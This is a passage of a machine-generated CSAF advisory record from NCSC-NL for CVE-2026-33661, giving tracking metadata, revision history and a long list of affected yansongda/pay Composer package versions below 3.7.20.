{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33661", "tracking": { "current_release_date": "2026-04-01T14:58:25.554681Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33661", "initial_release_date": "2026-03-25T20:11:28.694495Z", "revision_history": [ { "date": "2026-03-25T20:11:28.694495Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-25T20:11:38.334388Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-26T00:46:50.703548Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (254).| Product Identifiers created (253).| References created (3).| CWES updated (1)." }, { "date": "2026-03-26T00:47:12.382319Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-26T21:39:06.607136Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-26T21:39:09.260409Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-26T22:25:16.866599Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-26T22:25:25.128375Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-27T20:56:34.780902Z", "number": "9", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-27T21:27:02.263058Z", "number": "10", "summary": "Unknown change." }, { "date": "2026-03-28T07:57:34.782137Z", "number": "11", "summary": "References created (1)." }, { "date": "2026-03-28T08:10:28.682078Z", "number": "12", "summary": "References removed (1)." }, { "date": "2026-03-29T01:16:02.928290Z", "number": "13", "summary": "References created (1)." }, { "date": "2026-04-01T14:25:31.721790Z", "number": "14", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-04-01T14:25:34.985271Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-04-01T14:58:08.418009Z", "number": "16", "summary": "NCSC Score updated." } ], "status": "interim", "version": "16" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.7.20", "product": { "name": "vers:unknown/<3.7.20", "product_id": "CSAFPID-5919307", "product_identification_helper": { "cpe": "cpe:2.3:a:yansongda:pay:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<3.7.20", "product": { "name": "vers:unknown/>=0|<3.7.20", "product_id": "CSAFPID-5913491" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.0", "product": { "name": "vers:unknown/v0.5.0", "product_id": "CSAFPID-5913238", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.1", "product": { "name": "vers:unknown/v0.5.1", "product_id": "CSAFPID-5913239", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.2", "product": { "name": "vers:unknown/v0.5.2", "product_id": "CSAFPID-5913240", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.3", "product": { "name": "vers:unknown/v0.5.3", "product_id": "CSAFPID-5913241", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.5.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.4", "product": { "name": "vers:unknown/v0.5.4", "product_id": "CSAFPID-5913242", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.5.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.5", "product": { "name": "vers:unknown/v0.5.5", "product_id": "CSAFPID-5913243", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.5.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.6.0", "product": { "name": "vers:unknown/v0.6.0", "product_id": "CSAFPID-5913244", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.6.1", "product": { "name": "vers:unknown/v0.6.1", "product_id": "CSAFPID-5913245", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v0.6.2", "product": { "name": "vers:unknown/v0.6.2", "product_id": "CSAFPID-5913246", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v0.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.0", "product": { "name": "vers:unknown/v1.0.0", "product_id": "CSAFPID-5913247", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.1", "product": { "name": "vers:unknown/v1.0.1", "product_id": "CSAFPID-5913248", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.1", "product": { "name": "vers:unknown/v1.1.1", "product_id": "CSAFPID-5913249", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.0", "product": { "name": "vers:unknown/v1.2.0", "product_id": "CSAFPID-5913250", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.1", "product": { "name": "vers:unknown/v1.2.1", "product_id": "CSAFPID-5913251", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.2", "product": { "name": "vers:unknown/v1.2.2", "product_id": "CSAFPID-5913252", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.3", "product": { "name": "vers:unknown/v1.2.3", "product_id": "CSAFPID-5913253", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.2.4", "product": { "name": "vers:unknown/v1.2.4", "product_id": "CSAFPID-5913254", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.0", "product": { "name": "vers:unknown/v1.3.0", "product_id": "CSAFPID-5913255", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.0-beta", "product": { "name": "vers:unknown/v1.3.0-beta", "product_id": "CSAFPID-5913256", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.0-beta" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.1", "product": { "name": "vers:unknown/v1.3.1", "product_id": "CSAFPID-5913257", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.2", "product": { "name": "vers:unknown/v1.3.2", "product_id": "CSAFPID-5913258", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.3", "product": { "name": "vers:unknown/v1.3.3", "product_id": "CSAFPID-5913259", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.4", "product": { "name": "vers:unknown/v1.3.4", "product_id": "CSAFPID-5913260", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.5", "product": { "name": "vers:unknown/v1.3.5", "product_id": "CSAFPID-5913261", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v1.3.6", "product": { "name": "vers:unknown/v1.3.6", "product_id": "CSAFPID-5913262", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v1.3.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0", "product": { "name": "vers:unknown/v2.0.0", "product_id": "CSAFPID-5913263", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta", "product": { "name": "vers:unknown/v2.0.0-beta", "product_id": "CSAFPID-5913264", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.0-beta" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.1", "product": { "name": "vers:unknown/v2.0.1", "product_id": "CSAFPID-5913265", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.10", "product": { "name": "vers:unknown/v2.0.10", "product_id": "CSAFPID-5913266", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.10" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.11", "product": { "name": "vers:unknown/v2.0.11", "product_id": "CSAFPID-5913267", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.11" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.12", "product": { "name": "vers:unknown/v2.0.12", "product_id": "CSAFPID-5913268", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.12" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.13", "product": { "name": "vers:unknown/v2.0.13", "product_id": "CSAFPID-5913269", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.13" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.14", "product": { "name": "vers:unknown/v2.0.14", "product_id": "CSAFPID-5913270", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.14" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.15", "product": { "name": "vers:unknown/v2.0.15", "product_id": "CSAFPID-5913271", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.15" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.16", "product": { "name": "vers:unknown/v2.0.16", "product_id": "CSAFPID-5913272", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.16" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.17", "product": { "name": "vers:unknown/v2.0.17", "product_id": "CSAFPID-5913273", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.17" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.18", "product": { "name": "vers:unknown/v2.0.18", "product_id": "CSAFPID-5913274", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.18" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.19", "product": { "name": "vers:unknown/v2.0.19", "product_id": "CSAFPID-5913275", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.19" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.2", "product": { "name": "vers:unknown/v2.0.2", "product_id": "CSAFPID-5913276", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.20", "product": { "name": "vers:unknown/v2.0.20", "product_id": "CSAFPID-5913277", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.20" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.21", "product": { "name": "vers:unknown/v2.0.21", "product_id": "CSAFPID-5913278", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.21" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.22", "product": { "name": "vers:unknown/v2.0.22", "product_id": "CSAFPID-5913279", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.22" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.3", "product": { "name": "vers:unknown/v2.0.3", "product_id": "CSAFPID-5913280", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.4", "product": { "name": "vers:unknown/v2.0.4", "product_id": "CSAFPID-5913281", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.5", "product": { "name": "vers:unknown/v2.0.5", "product_id": "CSAFPID-5913282", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.6", "product": { "name": "vers:unknown/v2.0.6", "product_id": "CSAFPID-5913283", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.7", "product": { "name": "vers:unknown/v2.0.7", "product_id": "CSAFPID-5913284", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.8", "product": { "name": "vers:unknown/v2.0.8", "product_id": "CSAFPID-5913285", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.9", "product": { "name": "vers:unknown/v2.0.9", "product_id": "CSAFPID-5913286", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.0.9" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0", "product": { "name": "vers:unknown/v2.1.0", "product_id": "CSAFPID-5913287", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0-beta", "product": { "name": "vers:unknown/v2.1.0-beta", "product_id": "CSAFPID-5913288", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.1.0-beta" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0-beta.1", "product": { "name": "vers:unknown/v2.1.0-beta.1", "product_id": "CSAFPID-5913289", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.1.0-beta.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0-beta.2", "product": { "name": "vers:unknown/v2.1.0-beta.2", "product_id": "CSAFPID-5913290", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.1.0-beta.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.1", "product": { "name": "vers:unknown/v2.1.1", "product_id": "CSAFPID-5913291", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.2", "product": { "name": "vers:unknown/v2.1.2", "product_id": "CSAFPID-5913292", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0", "product": { "name": "vers:unknown/v2.10.0", "product_id": "CSAFPID-5913293", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.0", "product": { "name": "vers:unknown/v2.10.0-beta.0", "product_id": "CSAFPID-5913294", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.0-beta.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.1", "product": { "name": "vers:unknown/v2.10.1", "product_id": "CSAFPID-5913295", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.2", "product": { "name": "vers:unknown/v2.10.2", "product_id": "CSAFPID-5913296", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.3", "product": { "name": "vers:unknown/v2.10.3", "product_id": "CSAFPID-5913297", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.4", "product": { "name": "vers:unknown/v2.10.4", "product_id": "CSAFPID-5913298", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.5", "product": { "name": "vers:unknown/v2.10.5", "product_id": "CSAFPID-5913299", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.6", "product": { "name": "vers:unknown/v2.10.6", "product_id": "CSAFPID-5913300", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.10.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0", "product": { "name": "vers:unknown/v2.2.0", "product_id": "CSAFPID-5913301", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.1", "product": { "name": "vers:unknown/v2.2.1", "product_id": "CSAFPID-5913302", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.2", "product": { "name": "vers:unknown/v2.2.2", "product_id": "CSAFPID-5913303", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.3", "product": { "name": "vers:unknown/v2.2.3", "product_id": "CSAFPID-5913304", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0", "product": { "name": "vers:unknown/v2.3.0", "product_id": "CSAFPID-5913305", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.1", "product": { "name": "vers:unknown/v2.3.1", "product_id": "CSAFPID-5913306", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.2", "product": { "name": "vers:unknown/v2.3.2", "product_id": "CSAFPID-5913307", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0", "product": { "name": "vers:unknown/v2.4.0", "product_id": "CSAFPID-5913308", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta", "product": { "name": "vers:unknown/v2.4.0-beta", "product_id": "CSAFPID-5913309", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.0-beta" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta.3", "product": { "name": "vers:unknown/v2.4.0-beta.3", "product_id": "CSAFPID-5913310", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.0-beta.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta1", "product": { "name": "vers:unknown/v2.4.0-beta1", "product_id": "CSAFPID-5913311", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.0-beta1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta2", "product": { "name": "vers:unknown/v2.4.0-beta2", "product_id": "CSAFPID-5913312", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.0-beta2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.1", "product": { "name": "vers:unknown/v2.4.1", "product_id": "CSAFPID-5913313", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.2", "product": { "name": "vers:unknown/v2.4.2", "product_id": "CSAFPID-5913314", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.3", "product": { "name": "vers:unknown/v2.4.3", "product_id": "CSAFPID-5913315", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.4", "product": { "name": "vers:unknown/v2.4.4", "product_id": "CSAFPID-5913316", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.4.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0", "product": { "name": "vers:unknown/v2.5.0", "product_id": "CSAFPID-5913317", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0-beta", "product": { "name": "vers:unknown/v2.5.0-beta", "product_id": "CSAFPID-5913318", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.0-beta" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.1", "product": { "name": "vers:unknown/v2.5.1", "product_id": "CSAFPID-5913319", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.2", "product": { "name": "vers:unknown/v2.5.2", "product_id": "CSAFPID-5913320", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.3", "product": { "name": "vers:unknown/v2.5.3", "product_id": "CSAFPID-5913321", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.4", "product": { "name": "vers:unknown/v2.5.4", "product_id": "CSAFPID-5913322", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.5", "product": { "name": "vers:unknown/v2.5.5", "product_id": "CSAFPID-5913323", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.6", "product": { "name": "vers:unknown/v2.5.6", "product_id": "CSAFPID-5913324", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.7", "product": { "name": "vers:unknown/v2.5.7", "product_id": "CSAFPID-5913325", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.8", "product": { "name": "vers:unknown/v2.5.8", "product_id": "CSAFPID-5913326", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.9", "product": { "name": "vers:unknown/v2.5.9", "product_id": "CSAFPID-5913327", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.5.9" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0", "product": { "name": "vers:unknown/v2.6.0", "product_id": "CSAFPID-5913328", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta", "product": { "name": "vers:unknown/v2.6.0-beta", "product_id": "CSAFPID-5913329", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.6.0-beta" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.1", "product": { "name": "vers:unknown/v2.6.0-beta.1", "product_id": "CSAFPID-5913330", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.6.0-beta.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.2", "product": { "name": "vers:unknown/v2.6.0-beta.2", "product_id": "CSAFPID-5913331", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.6.0-beta.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.3", "product": { "name": "vers:unknown/v2.6.0-beta.3", "product_id": "CSAFPID-5913332", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.6.0-beta.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.1", "product": { "name": "vers:unknown/v2.6.1", "product_id": "CSAFPID-5913333", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.2", "product": { "name": "vers:unknown/v2.6.2", "product_id": "CSAFPID-5913334", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0", "product": { "name": "vers:unknown/v2.7.0", "product_id": "CSAFPID-5913335", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.1", "product": { "name": "vers:unknown/v2.7.1", "product_id": "CSAFPID-5913336", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.2", "product": { "name": "vers:unknown/v2.7.2", "product_id": "CSAFPID-5913337", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.3", "product": { "name": "vers:unknown/v2.7.3", "product_id": "CSAFPID-5913338", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.4", "product": { "name": "vers:unknown/v2.7.4", "product_id": "CSAFPID-5913339", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.5", "product": { "name": "vers:unknown/v2.7.5", "product_id": "CSAFPID-5913340", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.6", "product": { "name": "vers:unknown/v2.7.6", "product_id": "CSAFPID-5913341", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.7", "product": { "name": "vers:unknown/v2.7.7", "product_id": "CSAFPID-5913342", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.8", "product": { "name": "vers:unknown/v2.7.8", "product_id": "CSAFPID-5913343", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.7.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0", "product": { "name": "vers:unknown/v2.8.0", "product_id": "CSAFPID-5913344", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0-beta.0", "product": { "name": "vers:unknown/v2.8.0-beta.0", "product_id": "CSAFPID-5913345", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.0-beta.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.1", "product": { "name": "vers:unknown/v2.8.1", "product_id": "CSAFPID-5913346", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.2", "product": { "name": "vers:unknown/v2.8.2", "product_id": "CSAFPID-5913347", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.2-beta.0", "product": { "name": "vers:unknown/v2.8.2-beta.0", "product_id": "CSAFPID-5913348", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.2-beta.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.3", "product": { "name": "vers:unknown/v2.8.3", "product_id": "CSAFPID-5913349", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.4", "product": { "name": "vers:unknown/v2.8.4", "product_id": "CSAFPID-5913350", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.5", "product": { "name": "vers:unknown/v2.8.5", "product_id": "CSAFPID-5913351", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.6", "product": { "name": "vers:unknown/v2.8.6", "product_id": "CSAFPID-5913352", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.8.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0", "product": { "name": "vers:unknown/v2.9.0", "product_id": "CSAFPID-5913353", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.0", "product": { "name": "vers:unknown/v2.9.0-beta.0", "product_id": "CSAFPID-5913354", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.0-beta.0" } } }, { "category": 